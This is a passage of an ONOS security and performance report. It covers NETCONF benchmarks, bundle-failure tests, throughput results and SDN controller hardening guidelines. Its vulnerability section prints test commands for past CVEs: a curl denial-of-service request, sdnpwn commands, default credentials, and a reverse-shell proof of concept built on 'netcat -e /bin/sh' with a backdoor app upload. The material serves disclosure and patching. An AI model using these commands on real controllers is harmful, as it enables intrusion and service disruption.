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Introduction 
This is the second report of the ONOS Security & Performance Analysis (sec&perf)             
brigade. The goal of sec&perf brigade reports is to raise awareness about weaknesses             
of the ONOS system, and to provide feedback to ONOS developers on the quality of               
their code and the impact of pieces of code on the ONOS performance.  

In the following, we report about major activities of the brigade with ONOS 1.12 and               
1.13. 

 

Editorial note​: the report is not self-contained as a scientific publication could be, i.e., a               
prior technical knowledge on the various technologies (e.g., NETCONF, OpenFlow          
message types, etc) is needed to fully understand the content of the report. 

 

Citation:  
S. Secci, S. Scott-Hayward, Q. Pham Van, D. Verchere, A. Sow, C. Basquin, D. Smyth, K. 
Attou, K. Thimmaraju, A. Campanella​# ​, “ONOS Security & Performance Analysis (Report No. 
2)”, Informational Report, Open Networking Foundat​ion, November 2018. 
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1. Performance Analysis 
In this section, we report on ​three major activities in which the brigade was involved: 

1. NETCONF SBI performance test. 
2. Control-plane performance under bundle failure. 
3. Evaluation of ONOS performance and scalability. 

1.1 NETCONF South-Bound Interface performance evaluation 
After an introduction to NETCONF, we describe three performance tests against the            
NETCONF SBI. 
 
1.1.1 Network Configuration (NETCONF) protocol 
The Network Configuration Protocol (NETCONF) is a session-based management         
protocol [1]. NETCONF is usually implemented on top of the SSHv2 transport protocol             
as specified in RFC ​6242 using the NETCONF Configuration Protocol over Secure Shell             
(SSH), but can also use Telnet. 
NETCONF can be used as an alternative to Command Line Interface (CLI) or Simple              
Network Management Protocol (SNMP) for managing network nodes. It uses XML as            
schema language to configure network devices, and RPC messaging for          
communication between a NETCONF client (here running at the ONOS controller) and            
a NETCONF server (running at the network device). An RPC message and            
configuration data is encapsulated within an XML document. These XML documents are            
exchanged in a request/response type of interaction. The network device interface must            
support both configuration and operation information retrieval. 
 
NETCONF makes a clear distinction between configuration data and operational state           
and statistics. The NETCONF client in ONOS controller can easily fetch separately            
configuration data, operational state data, and statistics from network devices, and it            
enables ONOS controller to compare these data between devices. The ONOS driver            
acting as a NETCONF client encodes an RPC in XML and then sends this RPC to a                 
network device acting as NETCONF server. NETCONF allows to run operations on            
network devices, like edit, copy, get or delete data. Those operations can be done on               
three different datastores: « Running », « Candidate » and « Startup », as depicted in                
Figure 1.  
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Figure 1: ​​Image describing NETCONF operations 

At the first exchange, the server indicates its capabilities by sending a document             
containing an <hello> element, then the client must also send its capabilities, as             
depicted in Figure 2. After capabilities exchange, the controller can send an <rpc> to the               
device, then either the server sends back an <rpc-reply> containing a data element with              
the results of the query, or it sends back instead an <rpc-reply> with an <rpc-error>               
element included. The contents of both NETCONF messages i.e., the request and the             
reply are fully described in XML DTDs or XML schemas, or both, allowing both ONOS               
and the network device being benchmarked to recognize the syntax constraints           
imposed on the exchange. 

 

Figure 2​​: NETCONF session establishment with Hello message exchanges 

All the NETCONF devices must allow the configuration of their data, and after the              
connection initialization and the opening of the session, a set of operations allowing the              
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modification of equipment can be executed. The NETCONF operations currently          
supported by ONOS are:  

● sendHello​: sends a message containing the device capabilities;  
● get​: retrieve running configuration and device state information; 
● getConfig​: retrieve the configuration of a specified  datastore;  
● copyingConfig​: copies specified configuration;  
● editConfig​: loads (part of) a configuration to a target configuration datastore;  
● copyConfig​: overwrites an existing configuration with the content of another.  

These operations are done on datastores that each device can maintain. The ​running 
datastore represents the active configurations in the device. The ​candidate​ datastore 
allows collecting client configuration operations; those configurations take effect after 
the client performs a « commit » operation to tell to the server to write candidate 
datastore onto the running or the startup one. The ​startup​ datastore represents the 
configuration to be applied when starting the device. 
The registration of devices to ONOS can be done via the REST API, hence .json files                
containing the device's IP address, authentication data and port used by the device. 

1.1.2 Configuration retrieval latency tests 
Contributors: Alpha Sow (Airbus), Christophe Basquin (Airbus), Andrea Campanella         
(ONF). 

In order to assess latency performance of NETCONF operations, we first test the ​get              
and ​set ​​commands of the ONOS NETCONF SBI by recording the whole time, including              
intermediate times through insertion of specific timing code. 
 
Our work environment was composed of (i) a CentOS 7 system with a 3.20 GHz 8-core                
CPU and 5.7 GB of live memory to run ONOS (version 1.12) and the TestON test tool ,                 1

(ii) a virtual machine running of-config , and (iii) a Juniper switch (EX3400 15.1X53-D56)             2

to be able to compare the performance with a physical equipment. 
  
Running TestON for ONOS requires using the topology file (.topo), the parameters file             
(.params) which configures the execution order and the variables for the test cases, the              
Python file (.py) where the test cases are written, and an additional test file used to                
export environment variables into the tester’s shell (used by the ONOS test and utility              
scripts). 

1 ​https://wiki.onosproject.org/pages/viewpage.action?pageId=2133836 
2 Of-config is a wrapper for an OpenvSwitch instance that uses NETCONF protocol and translates it to                 
OVSDB in order to use that database implementation. ​https://github.com/openvswitch/of-config  
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The tests we run used the “netconf-get-config” queries from the virtual switch and the              
Juniper switch to see which part of the code takes most of the time. Both tests were                 
performed separately and lasted 8 hours; in this time frame, around 140000 queries             
could be executed from the virtual switch and 96000 from the Juniper device. This              
difference can be explained by the more complex and secured operating system with             
the Juniper device. Nevertheless, note that this higher throughput performance with           
ONOS does not come with any incorrect or unexpected behavior from ONOS. 

We inserted different measurements points in the ONOS NETCONF code. We have            
timing samplers from three portions of the code: 

● the code that constructs the RPC "get" message in the ​NetconfSessionMinaImpl           
class.  

● the first part of the “sendRequest” method, timing the ​CheckAndReestablish part,           
which is used to restart the SSH, the session or the channel connection. 

● the second part of the ​sendRequest method, which is used to create the header              
of the XML request. 

Timing results are shown in Figure 3. We can observe the following: 

- For the get and reestablish (‘reest’ in the plot) parts, the results related to the               
virtual switch have a much higher variability and large instabilities, certified by the             
many outliers (despite the very large interquartile range). From an in-depth           
analysis we could, in fact, spot such instabilities at precise periods for the             
emulator case. Note that for both cases there were no interruptions, only point             
increase/decrease of the processing time. 

- There were fewer instabilities for the XML header processing part. 
- For the get and reestablish parts, the processing time is a bit faster when running               

queries from the Juniper device, statistically, while the XML processing is slower            
with the Juniper switch. 
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Figure 3​​: boxplot statistics of three different NETCONF SBI parts (get, reestablish            
indicated with ‘reest’, XML processing), running NETCONF queries from a virtual switch            
and from a Juniper device. Such a “boxplot” shows minimum, first quartile, median in              
red, third quartile, maximum and outliers with ‘+’ (outliers are falling outside 200 times              
the inter-quartile range). 
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1.1.3 Network connection establishment latency 
Contributors: Quang Huy Tran (IMT), Quan Pham Van (Nokia), Dominique Verchere           
(Nokia), Andrea Campanella (ONF). 

During a second test, we analyzed the NETCONF connection establishment time for a             
set of network devices. We focus, in particular, on carrier-grade network devices, and             
more precisely Reconfigurable Optical Add/Drop Multiplexer (ROADM) device, for which          
the connection establishment time is particularly important as the configuration latency           
in optical networks is adding an important component to network recovery operations for             
which ms-order guarantees must be ensured. 
 
The overall testbed setting is depicted in Figure 4. NETCONF devices are emulated by              
LINC switches (LINC is a pure OpenFlow software switch written in Erlang,            
implemented in the userspace which allows quick development and testing of new            
OpenFlow features [2]), in turns emulating a ROADM device (via LINC optical            
extension, LINC-OE). LINC uses OF-Config 1.1.1 [3] for its configuration, and runs in a              
Docker container. All the containers are deployed in the same physical machine that is              
separate from the machine hosting ONOS. The ONOS controller runs on an Ubuntu             
16.04 LTS physical machine with a 2-core CPU of 1.6 GHz and 2 GB of RAM, under                 
version 1.13.1 (Nightingale) and in standalone mode. The testbed setting is aligned with             
the methodologies for benchmarking performance of SDN controllers being currently          
specified by the IETF Benchmarking Methodology Working Group [4].  

 

Figure 4​​: Connection latency testbed configuration 
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To measure the time to establish the different NETCONF control sessions required with             
a given number of network devices, the following configurations are required: 

- The configuration of the IP address and the port of each container running one              
LINC-OE instance hosted at the machine. 

- The configuration file in json format which specifies the ID, IP address, ports and              
other parameters of the network devices. 

- The total NETCONF session establishment time is measured from the time the            
configuration file (json file) of the LINC switches is uploaded at ONOS to the time               
the control session of the last LINC switch is established with ONOS. 

ONOS needs the information to connect to the LINC switches in a json file where               
username, password, ip and port are specified. Hereafter is an extract of the json file               
describing the configuration uploaded into ONOS Controller: 

{ 

 "devices": { 

 "netconf:192.168.1.10:50001": { 

 "netconf": { 

 "ip": "192.168.1.10", 

 "port": 50001, 

 "username": "linc", 

 "password": "linc" 

 }, 

 "basic": { 

 "driver": "netconf" 

 } 

 }, 

 "netconf:192.168.1.10:50002": { 

 "netconf": { 

 "ip": "192.168.1.10", 

 "port": 50001, 

 "username": "linc", 

 "password": "linc" 

 }, 

 "basic": { 

 "driver": "netconf" 

 } 

 }, 

(…) 

 "netconf:192.168.1.10:50100": { 

 "netconf": { 

 "ip": "192.168.1.10", 

 "port": 50100, 

 "username": "linc", 

 "password": "linc" 

 }, 

 "basic": { 

 "driver": "netconf" 

 } 
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 } 

 } 

} 

 

This configuration file is uploaded into ONOS to establish 100 NETCONF control            
sessions. Similar files were created for 200, 300, 400 and 500 LINC-OE nodes. Then              
the time to establish the NETCONF control session of each LINC switch is measured. 

To increase the confidence in the performed measures, each experiment is repeated 3             
times. Benchmarking experiments were carried out with 100, 200, 300, 400, 500            
LINC-OE containers . ONOS is launched with the NETCONF SBI driver          3

(org.onosproject.drivers.netconf) activated. As LINC switch embeds a basic NETCONF         
server, no ONOS specific driver is needed at switches. As no driver-name is specified in               
the basic configuration file above,  ONOS assigns the default NETCONF configuration. 

The performance results are summarized in the table and plot of Figure 5. The 
NETCONF control session establishment time is linearly proportional to the number of 
network nodes. A very small variance around the average can be observed. This 
benchmarking tests demonstrate that ONOS is rather stable in establishing NETCONF 
Control sessions and that when the number of devices increases. 

  

Figure 5​​: NETCONF session establishment latency for a variable network size 

As a further work, we plan to run these tests in a multi-instance configuration. 

3 It is worth noting that we chose a maximum of 500 network devices because of the IT configuration used                    
to perform the experiment. The experiment does not always perform properly above 500 LINC-OE              
instances. 
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1.1.4 Session scaling requirements  
Contributors: Quang Huy Tran (IMT), Quan Pham Van (Nokia), Dominique Verchere           
(Nokia), Andrea Campanella (ONF). 

The objective of this experiment is to quantify the amount of computing resources (CPU,              
RAM) to deploy a determined number of NETCONF control sessions between one            
ONOS controller and a network of NETCONF clients, where the controller is configured             
to periodically request information states. We focus in particular on emulated ROADM            
devices and a controller configured in standalone mode, as in the previous section. 

The operations to retrieve, configure, copy and delete configuration of NETCONF           
datastores include: (i) get, (ii) get-config, (iii) edit-config, (iv) copy-config, (v)           
delete-config, (vi) lock, (vii) unlock, (viii) close-session, (ix) kill-session. Additional          
operations can be provided, typically based on the capabilities advertised by the specific             
context, as for instance for optical network devices. 

As previously, we run a set of benchmarking experiments composed of 100, 200, 300,              
400, 500 devices that are LINC-OE nodes run as containers. We measure the             
percentage of memory and CPU used by the controller to establish different NETCONF             
control sessions with a given number of network devices. As for the previous             
experiment, we use a configuration file in json format specifying the ID, IP address,              
ports and other parameters of the network device. 

When ONOS controller is launched, ONOS assigns the default NETCONF          
configuration. Then the CPU and the memory used by ONOS to establish the             
NETCONF control sessions with a given number of LINC switches is measured. Each             
experiment is repeated three times with the same number of devices. An SDN             
application was developed to send, for each experiment, NETCONF <get> RPCs           
simultaneously to all connected devices. Each <get> operation used during the           
experiments has the formation in Figure 6 and it does not have any specific parameters               
such as NETCONF <filter>. 
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Figure 6​​: Content of exchanged NETCONF <get> messages. 

Note that the SDN application does not manipulate or process any configuration or             
capability data from NETCONF <get-reply> messages received. The SDN application is           
configured with a polled NETCONF <get> operation rate named hereafter «polling rate»            
to send the different NETCONF <get> operations from the controller to the set of              
devices, i.e., all the LINC switch instances receive a NETCONF <get> operation during             
a configurable time interval. The CPU and RAM utilization percentage are measured for             
3 polling rates configured at the SDN application: (i) 1 <get> every 10 s, (ii) 1 <get>                 
every 5 s and (iii) 1 <get> every 1 s. The benchmarking results are reported in Figure 7. 

 

Figure 7:​​ CPU & RAM percentage vs. NETCONF <get> operation polling rates 

  

© 2018 ONOS. ​All ​Rights Reserved. ONF Informational Report 

12 



  

  

In average, it is observed that the CPU required is almost independent of the polling               
rates i.e., 0.1, 0.2 and 1 message/second, while it is not in terms of RAM required which                 
increases with the polling rates.  

As a further work, we plan to run these tests in a multi-instance configuration. 
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1.2 Controller availability against bundle failure analysis 
Contributor: Kamel Attou (Anevia) 

This section reports a follow-up of the controller availability against bundle failure            
analysis documented in the 1st brigade report [5]. We refer to the 1st report for the                
complete description of the test framework and related terminology. We simply report            
in the following updated results by running the same experiments on ONOS 1.13.1             
(Nightingale, May. 2, 2018), working with the version 8u161 of Oracle JDK.  

This time we tested only the distributed/clustering mode. For the machines we used             
Ubuntu 16.04 OS (kernel 4.4.0). For the virtualization environment, we used KVM            
(Qemu v2.5.0), using Open vSwitch​ ​v2.5.2.​  

Table 1 reports the results, i.e., it lists the bundles that if failed caused an abnormal                
controller behavior. For the sake of clarity, we simplified the behavior terminology with             
respect to the first report with only three main behaviors as follows: 

● Failover behavior without restoration​​: a new master is elected and the active            
control-plane traffic is rerouted to the slave controller upon failure. However, the            
traffic gets interrupted on the impacted instance, even upon bundle restoration,           
which is a symptom of degraded state of the system, even if the cluster is still                
working with two instances. 

● No failover behavior: ​in this behavior, there is no failover on the bundle             
deactivation, so we suppose the controller being down. However, we note that            
immediately ​after the reactivation, a new master is elected and the failover ​takes             
place,​ but he former master node stays down. 

● Transient alteration behavior​​: ​In this behavior, we observed during the failure,           
an alteration in Packet_In and/or Packet_Out signaling. After the reactivation, the           
controller gets to its nominal state. 

We determined the criticality subjectively considering the behavior and the artifact           
function. We consider the first behavior above ​​as not very significant because the             
master instance does not get to an unknown or degraded state, but become unavailable              
bringing more reliability in the consensus election as compared to the previous results             
from the first report. For two bundles we suspect that the Karaf instance integrity could               
be altered so we consider them a bit more critical (medium criticality). About the second               
behavior above ​the control plane processing appears to get interrupted during the            
failure, hence we consider this behavior with a high criticality. The third behavior above              
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concerns two bundles which are the openflow provider and the forwarding application; it             
makes sense to have control-plane trafic alteration with those ones, hence we consider             
them respectively as low and medium critical.  

Table 1 ​​: Bundles causing control-plane impairment and states. 

Bundle with behavior classification Criticality Criticality 
state for 
v1.10.2 [5] 

Failover behavior without restoration: 

org.apache.felix.framework Medium High 

org.apache.aries.proxy.impl Low Medium 

org.apache.felix.scr Low Low 

org.onosproject.onos-core-net Low Not present 

org.onosproject.onos-core-dist Low Medium 

org.onosproject.onos-core-persistence Low Low 

org.onosproject.onos-core-primitives Low Not present 

org.apache.karaf.system.core Low Low 

org.apache.felix.configadmin Medium High 

No failover behavior: 

org.apache.karaf.features.core High Low 

org.onosproject.onos-drivers-default High Not present 

org.onosproject.onos-protocols-openflow-ctl High Not present 

org.onosproject.onos-providers-openflow-device High Medium 

Transient alteration behavior: 

org.onosproject.onos-apps-fwd Low Low 

org.onosproject.onos-providers-openflow-packet Medium Medium 
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1.3 Network performance and scalability analysis 
Contributors: You Wang (ONF), Suchitra Vemuri (ONF) 

In the following we summarize the results of the four experiments that measure and 
quantify latency and throughput performance of ONOS subsystems, as done for the first 
report [5]. As for the first report, to which we refer for a precise description of the 
scenarios, goal and setups description, these experiments are: 

1. Latency of topology discovery 
2. Flow subsystem throughput 
3. Latency of intent operations 
4. Throughput of intent operations 

The experiments are executed with ONOS version 1.12 (Magpie). Differently than for 
the 1st report, this time the testbed setup uses physical servers. Each server instance 
has a Dual Xeon E5-2670 v2 2.5GHz processor with 64GB DDR3 and 512GB SSD. 
Each server uses a 1Gb NIC for the network connection. The instances are connected 
to each other through a single switch. 

1.3.1 Latency of topology discovery 
The link up/down test results are divided into link-up test result and link-down test result, 
with three times (to generate device, link and graph events), as depicted in Figure 8. 
Overall, the latency numbers stay the same by comparison with Kingfisher release with, 
for the up test, a latency around 7 ms for the single instance case, and around 16ms for 
the distributed mode case, and for the down test a latency ranges from 3 to 5 ms. 

 

 
Figure 8​​: port state change latency results. 
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The switch-up/down test results are also divided into switch-up test result and 
switch-down test result, as detailed in Figure 9. 

For the s​witch up test result,​ latency is around 50 ms, which stays the same by 
comparison with the Kingfisher release. 

For the switch down test results, latency ranges between 3 - 7 ms. By comparison with 
the Kingfisher release, the multi-instance latency increased by 2 ms which is due to a fix 
correcting its functionality by shutting down a message dispatch thread when the 
channel is disconnected. See ​https://jira.onosproject.org/browse/ONOS-7338​ for more 
details about this fix. 
 

  

 
Figure 9​​: switch state latency results 

About the host discovery tests (Figure 10), ​f​or all single and multi-instance setups, the 
latency is around 4 ms. By comparison with the Kingfisher release, the multi-instance 
latency dropped from around 100 ms to 4ms. The performance improvement was 
brought by Atomix 2.0 upgrade which allows for more parallelism across primitives in 
the new Raft implementation and avoids proxying requests unnecessarily through Raft 
nodes by sending requests, responses and events directly to the leader or follower. 
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Figure 10​​: host discovery latency results 

1.3.2 Throughput of flow operations 
We report in the following the performance obtained in terms of throughput of flow 
operations, following the same setting than the one used in the first report as well [5]. 
 
It is worth noting that the ​Eventually Consistent flow rule store is being used by the flow 
rule subsystem. The Magpie release has fixed bugs affecting correctness of the 
ECFlowRuleStore and enables ECFlowRuleStore by default. In contrast, 
DistributedFlowRuleStore which adopts a strong consistency model and was used by 
ONOS Loon release has been disabled in Magpie and will be abandoned in the 
following ONOS releases due to performance defects in terms of dropped flow 
operations throughput; the low performance with DistributedFlowRuleStore was from 
the overhead of lock contention with respect to preserving strong consistency, plus the 
need to persist data on disk for strong consistency. 

  

The results are resumed in Figure 11. A single ONOS instance can install over 900K 
flow setups per second. An ONOS cluster of seven can handle over 3 million local, and 
2 million multi-region flow setups per second. By comparison with Kingfisher, the single 
instance case shows an increase of 200K flow more (more than 25%), and in the 
distributed case the gain ranges from 10% to 20% depending on the number of 
instances. 
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Figure 11​​: flow throughput tests 

 

 

1.3.3 Latency of intent operations 
Results are reported in Figure 12. To submit, withdraw or reroute one intent, a single 
ONOS node reacts in 10~20 ms while multi-node ONOS reacts in 10~40 ms.  
The average latency numbers stay the same by comparison with Kingfisher release. 
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Figure 12​​: intent state change latency 

 
1.3.4 Throughput of intent operations 
Figure 13 reports the results in terms of throughput of intent operations.  

We can notice that: 

● A single ONOS node can sustain more than 30K operations per second. 
● 7-node ONOS cluster can sustain more than 200K operations per second. 
● By comparison with Kingfisher release, single node throughput stays the same 

and multi node throughput is increased by ~10% on average. 
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Figure 13​​: intent event throughput 
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2. Security analysis 
In this section, we provide an update on ONOS configuration issues and vulnerabilities.             
In addition, we provide guidelines for hardening SDN controller deployment. 

2.1 SDN controller hardening guidelines 

Contributor: Sandra Scott-Hayward (QUB) 
 
At the ONOS Security and performance analysis brigade workshop in April 2018, it was              
identified that some guidelines regarding secure SDN controller deployment would be of            
benefit to organisations introducing SDN. This topic was previously discussed in the            
ONF Security Working Group. We introduce these guidelines in this section. 
 
From a security standpoint, software-defined networks differ from non-SDN networks in           
two important aspects: they are programmable (versus being merely configurable within           
constraints), and more interfaces are network-accessible. 

The SDN Controller and Applications typically run on well-known operating systems           
(Linux being the most prevalent), so recommendations from one of the many existing             
operating system configuration guides should be used to configure these elements .  4

Special attention should be given to the following recommendations usually included in            
the existing hardening guides. 

● Configure every network-accessible API (e.g., the management interface) using         
a secure protocol (e.g., SSH) and ensure all insecure protocols are disabled            
(e.g., Telnet). 

● Enable role-based, attributed-based, or capability-based access controls on        
every network-accessible API to ensure only authorized users have access. 

● Create separate user accounts to run each SDN application and the SDN            
controller, or implement the principle of least privilege in some other manner (if             
multiple users use the same SDN app, the SDN app itself must have access              
control logic configured). 

● Use the element’s TPM (if available) to verify the integrity of device hardware and              
software on the device. 

4 
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/pdf/Security_Guide/Red_H
at_Enterprise_Linux-7-Security_Guide-en-US.pdf  
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This section details configuration recommendations for SDN controllers that are unique           
to the SDN architecture depicted in Figure 14. 

 

 

Figure 14:​​ SDN Architecture [6] 

 

2.1.1    Secure connections to other SDN elements 

A. Use a secure transport method 

Configure the SDN controller so that its connections to network devices and SDN             
applications use a secure transport channel (for example, a known good TLS            
implementation with PKI certificates provisioned on the switch and controller via a            
secure means). 

If the SDN controller does not provide TLS, the connections could be tunneled over              
another secure protocol (e.g., IPsec) provided by a different system. Alternatively, the            
SDN control plane network could be made physically secure (e.g., placing the switch             
and controller in the same rack which itself is physically secure so that connections              
between SDN controllers and switches cannot be subverted). 

This maps to REQ 4.1.1 and 4.1.3 from​ [7] and requirement 4.2.1 from [8]. 
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In some scenarios, the SDN switches may be compromised by an attacker or untrusted.              
Hence, OpenFlow connections from switches to the controller need to be secured via             
the following hardened authentication scheme to address CVE-2018-1000155: 

● Unique TLS certificates for switches. 
● White-list of switch DPIDs at controllers which also includes the switches’           

respective public-key certificate identifier. 
● A controller mechanism that verifies the DPID announced in the OpenFlow           

handshake is over the TLS connection with the associated (DPID) certificate.  

Further detail on CVE-2018-1000155 is provided in Section 2.2.2. 

B. DoS Protection 

Implement a rate-limiting function that prevents a DoS attack on the interfaces to the              
network devices or business applications. This is similar to requirements 4.2.24 –            
4.2.26 fro​m [8]. 

C. Traffic Isolation 

The network connection between the SDN controller and network device should have            
bandwidth/availability sufficient to connect the controller and the network device and           
should carry no other traffic other than that necessary to manage the device. For              
increased security when a controller connects to multiple network devices, each           
controller-to-device connection may be placed in its own dedicated network. 

2.1.2    Resource management 

A. Resource Isolation 

The SDN controller should be configured to make sure that the resources used by              
different SDN applications are isolated from each other. 

B. Resource Allocation 

The SDN controller should be configured to ensure that the resources used by different              
applications are allocated according to operational policies. This is similar to           
requirement 4.2.16 from​ [8]. 
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C. Resource Monitoring 

The SDN controller should be configured to activate resource monitoring to determine            
when switch resources are being exhausted and take corresponding remediation          
actions. 

2.1.3    Secure traffic forwarding 

A. Default drop 

By default, the network device should be programmed to drop traffic that the controller              
has not specifically instructed it to handle. 

B. Edge firewalling 

Network security filtering/policy should be implemented at the edge of the network, i.e.             
to protect the SDN controller access from the data plane and application. This implies,              
among other things, that broadcasting/multicasting should be eliminated where         
possible. For example, in non-SDN switching, a switch floods unicast packets for            
unknown destinations. It is possible to eliminate this by programming forwarding to only             
authenticated destinations. 

C. Backup rules 

To the extent possible, the SDN controller should program traffic forwarding rules into             
the switch so that backup rules can be automatically used in case of link failure without                
requiring controller intervention. 

2.1.4    Reliability 

Use a distributed/hierarchical controller architecture or program backup flow rules to           
ensure the network continues to operate in the presence of failures. Ensure consistent             
recovery policies are specified. 

2.1.5    Error handling 

Explicitly configure the controller to handle error conditions, whether they be internal            
errors or errors on the interfaces to the network devices or SDN applications. This is               
similar to REQ 4.3.3 and 4.4.4 fr​om [7]. 
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2.1.6    Policy conflict resolution 

The SDN control plane should support policy conflict resolution to prevent network state             
misconfigurations. 

2.1.7    Behavioral verification 

Even when the controller and network device have the same flows, the network device              
may not execute them correctly (due to implementation bugs). Therefore, the controller            
should sanity check (e.g. by injecting test traffic, perhaps via an external system) to              
verify that flows are being processed correctly. This is the same technique used in SS7               
PSTN networks (COTS testing) to automatically discover implementation or physical          
defects. 
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2.2 ONOS configuration issues and vulnerabilities 
2.2.1 ONOS configuration issues 
Contributors: Sandra Scott-Hayward (QUB), Dylan Smyth (CIT) 

HTTPS not configured for Northbound Interface 
Access to the ONOS Northbound Interface (Web UI and REST API) is provided over 
HTTP. While user authentication is required by default, HTTPS, and therefore secure 
data transfer between client and server, is not. HTTPS must be enabled and configured 
manually to ensure secure communication with the ONOS Northbound Interface. Failure 
to provide secure communication with the Northbound Interface can allow an attacker to 
observe and modify data exchanged between the client and the ONOS server. 

Configuring HTTPS with self-signed certificates can potentially cause problems with          
certain browsers and the REST API. For this reason, configuration of HTTPS must be              
done manually and should be done to suit your own environment and requirements.             
Notes on this can be found on the ONOS wiki . A full guide to configure HTTPS using                 5

self-signed certificates can be found in [5]. 

SSL/TLS not configured for the Southbound Interface 
By default, the ONOS Southbound Interface does not encrypt data or authenticate            
connected devices. By enabling SSL, communication between the ONOS server and           
data plane devices is encrypted, preventing observation and manipulation of control           
channel traffic. Moreover, SSL allows the ONOS server and data plane devices to             
authenticate one another upon connection. 
A guide for configuring SSL on the Southbound Interface is available on the ONOS wiki               6

and in [5]. 

TLS not configured for inter-controller communication  
Inter-controller communication exchanged at the East/Westbound interface does not         
provide secure communication by default, allowing observation and modification of          
inter-controller traffic. TLS can and should be enabled for inter-controller          
communications to ensure communication within an ONOS cluster is secure. 
[5] and now the ONOS wiki provide a guide for configuring secure inter-controller             
communication . 7

5 ​https://wiki.onosproject.org/pages/viewpage.action?pageId=4162614  
 
6 ​https://wiki.onosproject.org/pages/viewpage.action?pageId=6358090  
7 ​https://wiki.onosproject.org/display/ONOS/Configuring+TLS+for+inter-controller+communication  
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Default credentials (REST API, Web UI, Karaf CLI) 
The "onos:rocks" and "karaf:karaf" username and password pairs are enabled by           
default and allow equal access to the REST API, the ONOS Web UI, and the Karaf CLI.                 
These credentials should be removed and new credentials added using the tools            
provided with ONOS. 

The 'onos-secure-ssh' tool, a wrapper script for the 'onos-user-password' tool, can be            
used to configure secure access to ONOS. Instructions on using this tool can be found               
on the ONOS wiki  and [5].  8

 

2.2.2 Security vulnerabilities - bug fixes 
Contributors: Dylan Smyth (CIT), Kashyap Thimmaraju (TU-Berlin), Benjamin Ujcich         
(MIT Lincoln Lab), Feng Xiao, Jianwei Huang and Lanxin Zhang (Wuhan University),            
Sandra Scott-Hayward (QUB) 

CVE-2017-1000079 - Denial of Service (DoS) by using very long strings 

Sending a long string within valid JSON to the ONOS REST API caused problems in the 
ONOS storage facility. After such a request was sent, ONOS could not perform certain 
actions related to saving or removing information from it's datastores. 

Affected versions 
ONOS 1.8.0 Ibis and 1.9.0 Junco are confirmed to be affected. 

Patch commit(s) 
https://gerrit.onosproject.org/#/c/14351/ 
https://gerrit.onosproject.org/#/c/14466/  

Patched versions 
The affected versions have been patched. 

Testing for this vulnerability 
It is possible to test for this vulnerability using CURL. First, connect a switch to ONOS. 
Next, use the following command to to send some JSON to ONOS containing a long 
string: 

8 ​https://wiki.onosproject.org/pages/viewpage.action?pageId=4162614  
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curl -u "onos:rocks" -X POST --header "Content-Type: application/json" 
http://127.0.0.1:8181/onos/v1/configuration/org.onosproject.store.topology.impl.Distribut
edTopologyStore --data (python -c "print('{\"linkWeightFunction\":\"' + 'A'*65 + '\"}')") 

After performing the above command, send a new packet from a new host connected to 
the switch. Normally a new host will appear in the ONOS host store, however, after 
executing the above command ONOS will fail to register the new host. This can be 
confirmed by observing the known hosts in the ONOS web UI or making a REST call to 
retrieve ONOS topology information. 

Impact 
In order to exploit this vulnerability, authenticated access to the REST API must be 
available to the attacker. The attack is simple to carry out and after the attack is 
performed ONOS will fail to function correctly. Exploitation of the vulnerability should be 
unlikely if access to the REST API is properly restricted, but patches should be applied 
as soon as possible. 

 

CVE-2017-1000080 - Unauthenticated websocket usage 

It was possible to connect to the websocket used by the ONOS web UI without any 
authentication. 

Affected versions 
ONOS 1.8.0 Ibis and 1.9.0 Junco are confirmed to be affected. 

Patch commit(s) 
https://gerrit.onosproject.org/#/c/14261/  

Patched versions 
The affected versions have been patched. 

Testing for this vulnerability 
An sdnpwn module is available to test for this vulnerability. The following command will 
connect to the ONOS websocket and dump information retrieved from it: 

./sdnpwn.py onos-websocket -t 192.168.56.102 -p 8181 -s -d 

The above command will dump summary and topology information to the console when 
a vulnerable version of ONOS 1.9.0 is targeted. 
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Impact 
The ONOS web UI receives information from the websocket. The information provided 
by the websocket includes items such as version details, IP addresses of cluster nodes, 
switch details, host details, and the number of links and flows. This information, and 
more, is provided by the websocket after a successful connection has been made. An 
attacker can gain access to a large amount of detailed information about the SDN 
topology by simply connecting to the websocket. 

 

CVE-2017-1000081 - Unauthenticated upload of applications 

It was possible to upload and activate applications to ONOS without authentication. 

Affected versions 
ONOS 1.8.0 Ibis and 1.9.0 Junco are confirmed to be affected. 

Patch commits 
https://gerrit.onosproject.org/#/c/13830/  

Patched Versions 
The affected versions have been patched. 

Testing for this vulnerability 
The 'onos-app-upload' sdnpwn module can be used to test for this vulnerability. The 
following command will upload a selected oar file and activate the new application: 

./sdnpwn.py onos-app-upload -t 127.0.0.1 -p 8181 -a my_new_app.oar 

The installation and activation of the application can be verified by checking either the 
ONOS web UI applications page or through the karaf console. 

Impact 
A PoC application provided with sdnpwn shows the severity of this particular 
vulnerability. The 'onos-nc-reverse-shell' application for ONOS 1.9.x  will, once 
uploaded and activated, connect back to a configured IP address and provide a reverse 
shell. This is achieved simply by including the following line in the application: 

Process p = Runtime.getRuntime().exec(new String[]{"netcat", "-e", "/bin/sh", 
"$CONNECTION_IP", "$CONNECTION_PORT"}); 
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Using this PoC is a two-stop process. First, the application must be configured and built 
using the 'onos-app' module: 

./sdnpwn.py onos-app -b apps/onos-reverse-shell -c 

The '-b' option will specify which application to build. The '-c' option will enable 
configuration of the application before building it. Figure X shows the output of 
configuring and building the application. Once the application has been prepared, a 
netcat listener can be setup to listen for the incoming reverse shell: 

nc -l 7777 

With the listener ready, the PoC application can be uploaded: 

./sdnpwn.py onos-app-upload -t 127.0.0.1 -p 8181 -a 
apps/compiled_apps/backdoor-1.0-SNAPSHOT.oar 

Once the command has been executed a shell will be available through the netcat 
listener. 

The danger of this vulnerability should be clear from the provided PoC (see Figure 12). 
Affected controllers should be updated as soon as possible. 

 
Figure 12:​​ Successful execution of the onos-app sdnpwn module 

 

CVE-2018-1000155 - Denial of Service, Improper Authentication and 
Authorization, and Covert Channel in the OpenFlow handshake 

The OpenFlow handshake does not require the controller to authenticate switches 
during the OpenFlow handshake. Furthermore, the controller is not required to authorize 
switches access to the controller. The absence of authentication and authorization in 
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the OpenFlow handshake allows one or more malicious switches connected to an 
OpenFlow controller to cause Denial of Service attacks in certain OpenFlow controllers 
by spoofing OpenFlow switch identifiers known as DataPath Identifiers (DPIDs). 

Additionally, the lack of authentication and authorization in the OpenFlow handshake 
can be exploited by malicious switches for covert communications, bypassing data 
plane (and potentially control plane) security mechanisms. In particular, the OpenFlow 
"Features Reply" message sent by the switch is inherently trusted by the controller. 
Note that for the attacker to launch an attack, the OpenFlow switch must first establish a 
